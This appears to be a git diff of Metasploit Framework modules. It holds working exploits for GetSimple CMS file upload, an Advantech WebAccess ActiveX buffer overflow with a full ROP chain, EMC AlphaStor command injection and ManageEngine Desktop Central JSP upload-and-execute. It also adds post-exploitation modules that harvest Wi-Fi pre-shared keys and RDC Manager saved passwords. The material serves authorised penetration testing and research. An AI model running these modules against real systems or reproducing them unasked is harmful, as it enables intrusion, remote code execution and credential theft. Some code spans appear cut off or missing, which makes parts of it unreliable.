GetSimplecms', '/GetSimpleCMS']), + OptString.new('USERNAME', [true, 'The username that will be used for authentication process']), + OptString.new('PASSWORD', [true, 'The right password for the provided username']) + ], self.class) + end + + def send_request_auth + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path.to_s, "admin", "index.php"), + 'vars_post' => { + 'userid' => "#{datastore['USERNAME']}", + 'pwd' => "#{datastore['PASSWORD']}", + 'submitted' => 'Login' + } + }) + + res + end + + def send_request_upload(payload_name, cookie_http_header) + data = Rex::MIME::Message.new + data.add_part("", 'application/x-httpd-php', nil, "form-data; name=\"file[]\"; filename=\"#{payload_name}\"") + data.add_part("Upload", nil, nil, "form-data; name=\"submit\"") + + data_post = data.to_s + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path.to_s, "admin", "upload.php"), + 'vars_get' => { 'path' =>'' }, + 'cookie' => cookie_http_header, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data_post + }) + + res + end + + def check + res = send_request_cgi({'uri' => normalize_uri(target_uri.path.to_s, 'admin', 'index.php')}) + + if res && res.code == 200 && res.body && res.body.to_s =~ /GetSimple CMS.*Version\s*([0-9\.]+)/ + version = $1 + else + return Exploit::CheckCode::Unknown + end + + print_status("#{peer} - Version #{version} found") + + if Gem::Version.new(version) <= Gem::Version.new('3.1.2') + return Exploit::CheckCode::Appears + end + + Exploit::CheckCode::Safe + end + + def exploit + print_status("#{peer} - Authenticating...") + res = send_request_auth + + if res && res.code == 302 + print_status("#{peer} - The authentication process is done successfully!") + else + fail_with(Failure::NoAccess, "#{peer} - Authentication failed") + end + + print_status("#{peer} - Extracting Cookies Information...") + cookie = res.get_cookies + if cookie.blank? + fail_with(Failure::NoAccess, "#{peer} - Authentication failed") + end + + print_status("#{peer} - Uploading payload...") + payload_name = rand_text_alpha_lower(rand(10) + 5) + '.pht' + res = send_request_upload(payload_name, cookie) + + if res && res.code == 200 && res.body && res.body.to_s =~ /Success! File location.*>.*#{target_uri.path.to_s}(.*)#{payload_name} normalize_uri(target_uri.path.to_s, upload_path, payload_name), + 'method' => 'GET' + }, 5) + end + +end diff --git a/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb b/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb new file mode 100644 index 000000000000..2e3460824dbb --- /dev/null +++ b/modules/exploits/windows/browser/advantech_webaccess_dvs_getcolor.rb @@ -0,0 +1,163 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Advantech WebAccess dvs.ocx GetColor Buffer Overflow', + 'Description' => %q{ + This module exploits a buffer overflow vulnerability in Advantec WebAccess. The + vulnerability exists in the dvs.ocx ActiveX control, where a dangerous call to + sprintf can be reached with user controlled data through the GetColor function. + This module has been tested successfully on Windows XP SP3 with IE6 and Windows + 7 SP1 with IE8 and IE 9. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + ['CVE', '2014-2364'], + ['ZDI', '14-255'], + ['URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-198-02'] + ], + 'DefaultOptions' => + { + 'Retries' => false, + 'InitialAutoRunScript' => 'migrate -f' + }, + 'BrowserRequirements' => + { + :source => /script|headers/i, + :os_name => Msf::OperatingSystems::WINDOWS, + :ua_name => /MSIE/i, + :ua_ver => lambda { |ver| Gem::Version.new(ver) < Gem::Version.new('10') }, + :clsid => "{5CE92A27-9F6A-11D2-9D3D-000001155641}", + :method => "GetColor" + }, + 'Payload' => + { + 'Space' => 1024, + 'DisableNops' => true, + 'BadChars' => "\x00\x0a\x0d\x5c", + # Patch the stack to execute the decoder... + 'PrependEncoder' => "\x81\xc4\x9c\xff\xff\xff", # add esp, -100 + # Fix the stack again, this time better :), before the payload + # is executed. + 'Prepend' => "\x64\xa1\x18\x00\x00\x00" + # mov eax, fs:[0x18] + "\x83\xC0\x08" + # add eax, byte 8 + "\x8b\x20" + # mov esp, [eax] + "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 + }, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Targets' => + [ + [ 'Automatic', { } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jul 17 2014')) + end + + def on_request_exploit(cli, request, target_info) + print_status("Requested: #{request.uri}") + + content = <<-EOS + + + + + + + + + + + + + + EOS + + print_status("Sending #{self.name}") + send_response_html(cli, content, {'Pragma' => 'no-cache'}) + end + + # Uses gadgets from ijl11.dll 1.1.2.16 + def rop_payload(code) + xpl = rand_text_alphanumeric(61) # offset + xpl << [0x60014185].pack("V") # RET + xpl << rand_text_alphanumeric(8) + + # EBX = dwSize (0x40) + xpl << [0x60012288].pack("V") # POP ECX # RETN + xpl << [0xffffffff].pack("V") # ecx value + xpl << [0x6002157e].pack("V") # POP EAX # RETN + xpl << [0x9ffdafc9].pack("V") # eax value + xpl << [0x60022b97].pack("V") # ADC EAX,60025078 # RETN + xpl << [0x60024ea4].pack("V") # MUL EAX,ECX # RETN 0x10 + xpl << [0x60018084].pack("V") # POP EBP # RETN + xpl << rand_text_alphanumeric(4) # padding + xpl << rand_text_alphanumeric(4) # padding + xpl << rand_text_alphanumeric(4) # padding + xpl << rand_text_alphanumeric(4) # padding + xpl << [0x60029f6c].pack("V") # .data ijl11.dll + xpl << [0x60012288].pack("V") # POP ECX # RETN + xpl << [0x60023588].pack("V") # ECX => (&POP EBX # RETN) + xpl << [0x6001f1c8].pack("V") # push edx # or al,39h # push ecx # or byte ptr [ebp+5], dh # mov eax, 1 # ret + # EDX = flAllocationType (0x1000) + xpl << [0x60012288].pack("V") # POP ECX # RETN + xpl << [0xffffffff].pack("V") # ecx value + xpl << [0x6002157e].pack("V") # POP EAX # RETN + xpl << [0x9ffdbf89].pack("V") # eax value + xpl << [0x60022b97].pack("V") # ADC EAX,60025078 # RETN + xpl << [0x60024ea4].pack("V") # MUL EAX,ECX # RETN 0x10 + # ECX = flProtect (0x40) + xpl << [0x6002157e].pack("V") # POP EAX # RETN + xpl << rand_text_alphanumeric(4) # padding + xpl << rand_text_alphanumeric(4) # padding + xpl << rand_text_alphanumeric(4) # padding + xpl << rand_text_alphanumeric(4) # padding + xpl << [0x60029f6c].pack("V") # .data ijl11.dll + xpl << [0x60012288].pack("V") # POP ECX # RETN + xpl << [0xffffffff].pack("V") # ecx value + 0x41.times do + xpl << [0x6001b8ec].pack("V") # INC ECX # MOV DWORD PTR DS:[EAX],ECX # RETN + end + # EAX = ptr to &VirtualAlloc() + xpl << [0x6001db7e].pack("V") # POP EAX # RETN [ijl11.dll] + xpl << [0x600250c8].pack("V") # ptr to &VirtualAlloc() [IAT ijl11.dll] + # EBP = POP (skip 4 bytes) + xpl << [0x6002054b].pack("V") # POP EBP # RETN + xpl << [0x6002054b].pack("V") # ptr to &(# pop ebp # retn) + # ESI = ptr to JMP [EAX] + xpl << [0x600181cc].pack("V") # POP ESI # RETN + xpl << [0x6002176e].pack("V") # ptr to &(# jmp[eax]) + # EDI = ROP NOP (RETN) + xpl << [0x60021ad1].pack("V") # POP EDI # RETN + xpl << [0x60021ad2].pack("V") # ptr to &(retn) + # ESP = lpAddress (automatic) + # PUSHAD # RETN + xpl << [0x60018399].pack("V") # PUSHAD # RETN + xpl << [0x6001c5cd].pack("V") # ptr to &(# push esp # retn) + xpl << code + + xpl.gsub!("\"", "\\\"") # Escape double quote, to not break javascript string + xpl.gsub!("\\", "\\\\") # Escape back slash, to avoid javascript escaping + + xpl + end + +end diff --git a/modules/exploits/windows/emc/alphastor_device_manager_exec.rb b/modules/exploits/windows/emc/alphastor_device_manager_exec.rb new file mode 100644 index 000000000000..1ac3b2d0fdeb --- /dev/null +++ b/modules/exploits/windows/emc/alphastor_device_manager_exec.rb @@ -0,0 +1,121 @@ +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'EMC AlphaStor Device Manager Opcode 0x75 Command Injection', + 'Description' => %q{ + This module exploits a flaw within the Device Manager (rrobtd.exe). When parsing the 0x75 + command, the process does not properly filter user supplied input allowing for arbitrary + command injection. This module has been tested successfully on EMC AlphaStor 4.0 build 116 + with Windows 2003 SP2 and Windows 2008 R2. + }, + 'Author' => + [ + 'Anyway ', # Vulnerability Discovery + 'Preston Thornburn ', # msf module + 'Mohsan Farid ', # msf module + 'Brent Morris ', # msf module + 'juan vazquez' # convert aux module into exploit + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2013-0928'], + ['ZDI', '13-033'] + ], + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Payload' => + { + 'Space' => 2048, + 'DisableNops' => true + }, + 'Targets' => + [ + [ 'EMC AlphaStor 4.0 < build 800 / Windows Universal', {} ] + ], + 'CmdStagerFlavor' => 'vbs', + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 18 2013')) + + register_options( + [ + Opt::RPORT(3000) + ], self.class ) + end + + def check + packet = "\x75~ mminfo & #{rand_text_alpha(512)}" + res = send_packet(packet) + if res && res =~ /Could not fork command/ + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Unknown + end + + def exploit + execute_cmdstager({ :linemax => 487 }) + end + + def execute_command(cmd, opts) + padding = rand_text_alpha_upper(489 - cmd.length) + packet = "\x75~ mminfo &cmd.exe /c #{cmd} & #{padding}"# #{padding}" + connect + sock.put(packet) + begin + sock.get_once + rescue EOFError + fail_with(Failure::Unknown, "Failed to deploy CMD Stager") + end + disconnect + end + + def execute_cmdstager_begin(opts) + if flavor =~ /vbs/ && self.decoder =~ /vbs_b64/ + cmd_list.each do |cmd| + cmd.gsub!(/data = Replace\(data, vbCrLf, ""\)/, "data = Replace(data, \" \" + vbCrLf, \"\")") + end + end + end + + def send_packet(packet) + connect + + sock.put(packet) + begin + meta_data = sock.get_once(8) + rescue EOFError + meta_data = nil + end + + unless meta_data + disconnect + return nil + end + + code, length = meta_data.unpack("N*") + + unless code == 1 + disconnect + return nil + end + + begin + data = sock.get_once(length) + rescue EOFError + data = nil + ensure + disconnect + end + + data + end + +end diff --git a/modules/exploits/windows/http/adobe_robohelper_authbypass.rb b/modules/exploits/windows/http/adobe_robohelper_authbypass.rb index 70988f9cd5cd..b112be21d98d 100644 --- a/modules/exploits/windows/http/adobe_robohelper_authbypass.rb +++ b/modules/exploits/windows/http/adobe_robohelper_authbypass.rb @@ -42,6 +42,10 @@ def initialize(info = {}) } ], ], + 'DefaultOptions' => + { + 'SHELL' => 'cmd.exe' + }, 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 23 2009' )) diff --git a/modules/exploits/windows/http/coldfusion_fckeditor.rb b/modules/exploits/windows/http/coldfusion_fckeditor.rb index 0c4916713dbc..92278918fefc 100644 --- a/modules/exploits/windows/http/coldfusion_fckeditor.rb +++ b/modules/exploits/windows/http/coldfusion_fckeditor.rb @@ -39,6 +39,10 @@ def initialize(info = {}) } ], ], + 'DefaultOptions' => + { + 'SHELL' => 'cmd.exe' + }, 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 3 2009' )) diff --git a/modules/exploits/windows/http/desktopcentral_file_upload.rb b/modules/exploits/windows/http/desktopcentral_file_upload.rb index 63f07cc9c680..d4618a706fcb 100644 --- a/modules/exploits/windows/http/desktopcentral_file_upload.rb +++ b/modules/exploits/windows/http/desktopcentral_file_upload.rb @@ -15,11 +15,11 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'DesktopCentral AgentLogUpload Arbitrary File Upload', + 'Name' => 'ManageEngine Desktop Central AgentLogUpload Arbitrary File Upload', 'Description' => %q{ - This module exploits an arbitrary file upload vulnerability in DesktopCentral 8.0.0 - below build 80293. A malicious user can upload a JSP file into the web root without - authentication, leading to arbitrary code execution. + This module exploits an arbitrary file upload vulnerability in Desktop Central v7 to + v8 build 80293. A malicious user can upload a JSP file into the web root without + authentication, leading to arbitrary code execution as SYSTEM. }, 'Author' => [ @@ -28,13 +28,16 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', 'http://security-assessment.com/files/documents/advisory/Desktop%20Central%20Arbitrary%20File%20Upload.pdf' ] + ['CVE', '2013-7390'], + ['OSVDB', '100008'], + ['URL', 'http://security-assessment.com/files/documents/advisory/Desktop%20Central%20Arbitrary%20File%20Upload.pdf'], + ['URL', 'http://seclists.org/fulldisclosure/2013/Nov/130'], ], 'Platform' => 'win', 'Arch' => ARCH_X86, 'Targets' => [ - [ 'ManageEngine DesktopCentral 8 server / Windows', {} ] + [ 'Desktop Central v7 - v8 build 80292 / Windows', {} ] ], 'Privileged' => true, 'DefaultTarget' => 0, @@ -44,6 +47,7 @@ def initialize(info = {}) register_options([Opt::RPORT(8020)], self.class) end + def upload_file(filename, contents) res = send_request_cgi({ 'uri' => normalize_uri('agentLogUploader'), @@ -58,41 +62,53 @@ def upload_file(filename, contents) } }) - if res and res.code == 200 and res.body.to_s.empty? + if res && res.code == 200 && res.body.to_s.empty? return true else return false end end + # Test for Desktop Central def check res = send_request_cgi({ - 'uri' => normalize_uri("configurations.do"), - 'method' => 'GET' + 'uri' => normalize_uri("configurations.do"), + 'method' => 'GET' }) - if res and res.code == 200 and res.body.to_s =~ /ManageEngine Desktop Central 8/ and res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ - build = $1 - print_status("Manage Desktop Central 8 build #{build} found") - if build < "80293" + if res && res.code == 200 + build = nil + + if res.body.to_s =~ /ManageEngine Desktop Central 7/ || + res.body.to_s =~ /ManageEngine Desktop Central MSP 7/ # DC v7 + + print_status("#{peer} - Detected Desktop Central v7") + elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ || + res.body.to_s =~ /ManageEngine Desktop Central MSP 8/ + + if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v8 (later versions) + build = $1 + print_status("#{peer} - Detected Desktop Central v8 #{build}") + else # DC v8 (earlier versions) + print_status("#{peer} - Detected Desktop Central v8") + end + elsif res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v9 (and higher?) + build = $1 + end + + if build.nil? + return Exploit::CheckCode::Unknown + elsif Gem::Version.new(build) < Gem::Version.new("80293") return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end - res = send_request_cgi({ - 'uri' => normalize_uri("agentLogUploader"), - 'method' => 'POST' - }) - - if res and res.code == 200 - return Exploit::CheckCode::Detected - end - - return Exploit::CheckCode::Safe + Exploit::CheckCode::Unknown end + def exploit print_status("#{peer} - Uploading JSP to execute the payload") @@ -117,6 +133,7 @@ def exploit }) end + def jsp_drop_bin(bin_data, output_file) jspraw = %Q|<%@ page import="java.io.*" %>\n| jspraw << %Q|<%\n| @@ -144,6 +161,7 @@ def jsp_drop_bin(bin_data, output_file) jspraw end + def jsp_execute_command(command) jspraw = %Q|\n| jspraw << %Q|<%\n| @@ -153,6 +171,7 @@ def jsp_execute_command(command) jspraw end + def jsp_drop_and_execute(bin_data, output_file) jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file) end diff --git a/modules/exploits/windows/http/desktopcentral_statusupdate_upload.rb b/modules/exploits/windows/http/desktopcentral_statusupdate_upload.rb new file mode 100644 index 000000000000..f5614e439c8b --- /dev/null +++ b/modules/exploits/windows/http/desktopcentral_statusupdate_upload.rb @@ -0,0 +1,169 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ManageEngine Desktop Central StatusUpdate Arbitrary File Upload', + 'Description' => %q{ + This module exploits an arbitrary file upload vulnerability in ManageEngine DesktopCentral + v7 to v9 build 90054 (including the MSP versions). + A malicious user can upload a JSP file into the web root without authentication, leading to + arbitrary code execution as SYSTEM. Some early builds of version 7 are not exploitable as + they do not ship with a bundled Java compiler. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-5005'], + ['OSVDB', '110643'], + ['URL', 'http://seclists.org/fulldisclosure/2014/Aug/88'], + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/me_dc9_file_upload.txt'] + ], + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Targets' => + [ + [ 'Desktop Central v7 to v9 build 90054 / Windows', {} ] + ], + 'Privileged' => true, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 31 2014' + )) + + register_options([Opt::RPORT(8020)], self.class) + end + + + # Test for Desktop Central + def check + res = send_request_cgi({ + 'uri' => normalize_uri("configurations.do"), + 'method' => 'GET' + }) + + if res && res.code == 200 + build = nil + + if res.body.to_s =~ /ManageEngine Desktop Central 7/ || + res.body.to_s =~ /ManageEngine Desktop Central MSP 7/ # DC v7 + + print_status("#{peer} - Detected Desktop Central v7") + elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ || + res.body.to_s =~ /ManageEngine Desktop Central MSP 8/ + + if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v8 (later versions) + build = $1 + print_status("#{peer} - Detected Desktop Central v8 #{build}") + else # DC v8 (earlier versions) + print_status("#{peer} - Detected Desktop Central v8") + end + elsif res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v9 (and higher?) + build = $1 + end + + if build.nil? + return Exploit::CheckCode::Unknown + elsif Gem::Version.new(build) < Gem::Version.new("90055") + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Safe + end + end + + Exploit::CheckCode::Unknown + end + + def exploit + print_status("#{peer} - Uploading JSP to execute the payload") + + exe = payload.encoded_exe + exe_filename = rand_text_alpha_lower(8) + ".exe" + + jsp_payload = jsp_drop_and_execute(exe, exe_filename) + jsp_name = rand_text_alpha_lower(8) + ".jsp" + + send_request_cgi({ + 'uri' => normalize_uri('statusUpdate'), + 'method' => 'POST', + 'data' => jsp_payload, + 'ctype' => 'text/html', + 'vars_get' => { + 'actionToCall' => 'LFU', + 'configDataID' => '1', + 'customerId' => rand_text_numeric(4), + 'fileName' => '../' * 6 << jsp_name + } + }) + # We could check for HTTP 200 and a "success" string. + # However only some later v8 and v9 versions return this; and we don't really care + # and do a GET to the file we just uploaded anyway. + + register_files_for_cleanup(exe_filename) + register_files_for_cleanup("..\\webapps\\DesktopCentral\\#{jsp_name}") + + print_status("#{peer} - Executing payload") + send_request_cgi( + { + 'uri' => normalize_uri(jsp_name), + 'method' => 'GET' + }) + end + + + def jsp_drop_bin(bin_data, output_file) + jspraw = %Q|<%@ page import="java.io.*" %>\n| + jspraw << %Q|<%\n| + jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| + + jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| + + jspraw << %Q|int numbytes = data.length();\n| + + jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n| + jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n| + jspraw << %Q|{\n| + jspraw << %Q| char char1 = (char) data.charAt(counter);\n| + jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n| + jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n| + jspraw << %Q| comb <<= 4;\n| + jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n| + jspraw << %Q| bytes[counter/2] = (byte)comb;\n| + jspraw << %Q|}\n| + + jspraw << %Q|outputstream.write(bytes);\n| + jspraw << %Q|outputstream.close();\n| + jspraw << %Q|%>\n| + + jspraw + end + + + def jsp_execute_command(command) + jspraw = %Q|\n| + jspraw << %Q|<%\n| + jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| + jspraw << %Q|%>\n| + + jspraw + end + + + def jsp_drop_and_execute(bin_data, output_file) + jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file) + end +end diff --git a/modules/exploits/windows/http/hp_imc_bims_upload.rb b/modules/exploits/windows/http/hp_imc_bims_upload.rb index 334185a10492..8f3ad3c30418 100644 --- a/modules/exploits/windows/http/hp_imc_bims_upload.rb +++ b/modules/exploits/windows/http/hp_imc_bims_upload.rb @@ -40,6 +40,10 @@ def initialize(info = {}) 'Privileged' => true, 'Platform' => 'win', 'Arch' => ARCH_JAVA, + 'DefaultOptions' => + { + 'SHELL' => 'cmd.exe' + }, 'Targets' => [ [ 'HP Intelligent Management Center 5.1 E0202 - 5.2 E0401 / BIMS 5.1 E0201 - 5.2 E0401 / Windows', { } ] diff --git a/modules/exploits/windows/http/hp_imc_mibfileupload.rb b/modules/exploits/windows/http/hp_imc_mibfileupload.rb index 8f79d805b85d..d99e6fb36518 100644 --- a/modules/exploits/windows/http/hp_imc_mibfileupload.rb +++ b/modules/exploits/windows/http/hp_imc_mibfileupload.rb @@ -40,6 +40,10 @@ def initialize(info = {}) 'Privileged' => true, 'Platform' => 'win', 'Arch' => ARCH_JAVA, + 'DefaultOptions' => + { + 'SHELL' => 'cmd.exe' + }, 'Targets' => [ [ 'HP Intelligent Management Center 5.1 E0202 / Windows', { } ] diff --git a/modules/exploits/windows/http/hp_loadrunner_copyfiletoserver.rb b/modules/exploits/windows/http/hp_loadrunner_copyfiletoserver.rb index 45369d96d4df..4c532b1a6778 100644 --- a/modules/exploits/windows/http/hp_loadrunner_copyfiletoserver.rb +++ b/modules/exploits/windows/http/hp_loadrunner_copyfiletoserver.rb @@ -41,6 +41,10 @@ def initialize(info = {}) 'Privileged' => true, 'Platform' => 'win', 'Arch' => ARCH_JAVA, + 'DefaultOptions' => + { + 'SHELL' => 'cmd.exe' + }, 'Targets' => [ [ 'HP LoadRunner 11.52', { } ], diff --git a/modules/exploits/windows/http/hp_openview_insight_backdoor.rb b/modules/exploits/windows/http/hp_openview_insight_backdoor.rb index 48776c9ff8c2..cbdc92388df7 100644 --- a/modules/exploits/windows/http/hp_openview_insight_backdoor.rb +++ b/modules/exploits/windows/http/hp_openview_insight_backdoor.rb @@ -44,6 +44,10 @@ def initialize(info = {}) } ], ], + 'DefaultOptions' => + { + 'SHELL' => 'cmd.exe' + }, 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 31 2011')) diff --git a/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb index 8576f61af75a..ba3133ef7164 100644 --- a/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb +++ b/modules/exploits/windows/http/hp_pcm_snac_update_certificates.rb @@ -38,6 +38,10 @@ def initialize(info = {}) 'Privileged' => true, 'Platform' => 'win', 'Arch' => ARCH_JAVA, + 'DefaultOptions' => + { + 'SHELL' => 'cmd.exe' + }, 'Targets' => [ [ 'HP ProCurve Manager 4.0 SNAC Server', {} ] diff --git a/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb b/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb index 9760eb874e82..9cae4195ecbf 100644 --- a/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb +++ b/modules/exploits/windows/http/hp_pcm_snac_update_domain.rb @@ -38,6 +38,10 @@ def initialize(info = {}) 'Privileged' => true, 'Platform' => 'win', 'Arch' => ARCH_JAVA, + 'DefaultOptions' => + { + 'SHELL' => 'cmd.exe' + }, 'Targets' => [ [ 'HP ProCurve Manager 4.0 SNAC Server', {} ] diff --git a/modules/exploits/windows/http/novell_imanager_upload.rb b/modules/exploits/windows/http/novell_imanager_upload.rb index 68935e08ce90..4afda1124051 100644 --- a/modules/exploits/windows/http/novell_imanager_upload.rb +++ b/modules/exploits/windows/http/novell_imanager_upload.rb @@ -44,6 +44,10 @@ def initialize(info = {}) } ], ], + 'DefaultOptions' => + { + 'SHELL' => 'cmd.exe' + }, 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 01 2010' )) diff --git a/modules/payloads/singles/java/jsp_shell_bind_tcp.rb b/modules/payloads/singles/java/jsp_shell_bind_tcp.rb index 087958f27d24..629acf790908 100644 --- a/modules/payloads/singles/java/jsp_shell_bind_tcp.rb +++ b/modules/payloads/singles/java/jsp_shell_bind_tcp.rb @@ -31,7 +31,6 @@ def initialize(info = {}) 'Payload' => '' } )) - register_options( [ OptString.new( 'SHELL', [ true, "The system shell to use.", 'cmd.exe' ]), ], self.class ) end diff --git a/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb b/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb index dc3ecfb3d952..f7ca62869007 100644 --- a/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb +++ b/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb @@ -31,7 +31,6 @@ def initialize(info = {}) 'Payload' => '' } )) - register_options( [ OptString.new( 'SHELL', [ true, "The system shell to use.", 'cmd.exe' ]), ], self.class ) end diff --git a/modules/post/linux/gather/enum_psk.rb b/modules/post/linux/gather/enum_psk.rb new file mode 100644 index 000000000000..f3064b8d24ec --- /dev/null +++ b/modules/post/linux/gather/enum_psk.rb @@ -0,0 +1,112 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Post + + include Msf::Post::File + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + + include Msf::Auxiliary::Report + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Linux Gather 802-11-Wireless-Security Credentials', + 'Description' => %q{ + This module collects 802-11-Wireless-Security credentials such as + Access-Point name and Pre-Shared-Key from your target CLIENT Linux + machine using /etc/NetworkManager/system-connections/ files. + The module gathers NetworkManager's plaintext "psk" information. + }, + 'License' => MSF_LICENSE, + 'Author' => ['Cenk Kalpakoglu'], + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] + )) + + register_options( + [ + OptString.new('DIR', [true, 'The default path for network connections', + '/etc/NetworkManager/system-connections/'] + ) + ], self.class) + end + + def dir + datastore['DIR'] + end + + # Extracts AccessPoint name and PSK + def get_psk(data, ap_name) + data.each_line do |l| + if l =~ /^psk=/ + psk = l.split('=')[1].strip + return [ap_name, psk] + end + end + nil + end + + def extract_all_creds + tbl = Rex::Ui::Text::Table.new({ + 'Header' => '802-11-wireless-security', + 'Columns' => ['AccessPoint-Name', 'PSK'], + 'Indent' => 1, + }) + files = cmd_exec("/bin/ls -1 #{dir}").chomp.split("\n") + files.each do |f| + file = "#{dir}#{f}" + # TODO: find better (ruby) way + if data = read_file(file) + print_status("Reading file #{file}") + ret = get_psk(data, f) + if ret + tbl << ret + end + end + end + tbl + end + + def run + if is_root? + tbl = extract_all_creds + if tbl.rows.empty? + print_status('No PSK has been found!') + else + print_line("\n" + tbl.to_s) + p = store_loot( + 'linux.psk.creds', + 'text/csv', + session, + tbl.to_csv, + File.basename('wireless_credentials.txt') + ) + + print_good("Secrets stored in: #{p}") + + tbl.rows.each do |cred| + user = cred[0] # AP name + password = cred[1] + create_credential( + workspace_id: myworkspace_id, + origin_type: :session, + address: session.session_host, + session_id: session_db_id, + post_reference_name: self.refname, + username: user, + private_data: password, + private_type: :password, + ) + end + print_status("Done") + end + else + print_error('You must run this module as root!') + end + end +end diff --git a/modules/post/windows/gather/credentials/rdc_manager_creds.rb b/modules/post/windows/gather/credentials/rdc_manager_creds.rb new file mode 100644 index 000000000000..8ce3fb7a30e3 --- /dev/null +++ b/modules/post/windows/gather/credentials/rdc_manager_creds.rb @@ -0,0 +1,218 @@ +# -*- coding: binary -*- + +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' +require 'rexml/document' +require 'msf/core/auxiliary/report' + +class Metasploit3 < Msf::Post + + include Msf::Post::Windows::UserProfiles + include Msf::Post::Windows::Priv + include Msf::Auxiliary::Report + include Msf::Post::File + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Gather Remote Desktop Connection Manager Saved Password Extraction', + 'Description' => %q{ + This module extracts and decrypts saved Microsoft Remote Desktop + Connection Manager (RDCMan) passwords the .RDG files of users. + The module will attempt to find the files configured for all users + on the target system. Passwords for managed hosts are encrypted by + default. In order for decryption of these passwords to be successful, + this module must be executed under the same account as the user which + originally encrypted the password. Passwords stored in plain text will + be captured and documented. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Tom Sellers '], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + end + + def run + if is_system? + uid = session.sys.config.getuid + print_warning("This module is running under #{uid}.") + print_warning("Automatic decryption of encrypted passwords will not be possible.") + print_warning("Migrate to a user process to achieve successful decryption (e.g. explorer.exe).") + end + + settings_file = 'Microsoft Corporation\\Remote Desktop Connection Manager\RDCMan.settings' + profiles = grab_user_profiles + + profiles.each do |user| + next if user['LocalAppData'].nil? + settings_path = "#{user['LocalAppData']}\\#{settings_file}" + next unless file?(settings_path) + print_status("Found settings for #{user['UserName']}.") + + settings = read_file(settings_path) + connection_files = settings.scan(/string>(.*?)<\/string/) + + connection_files.each do |con_f| + next unless session.fs.file.exists?(con_f[0]) + print_status("\tOpening RDC Manager server list: #{con_f[0]}") + connection_data = 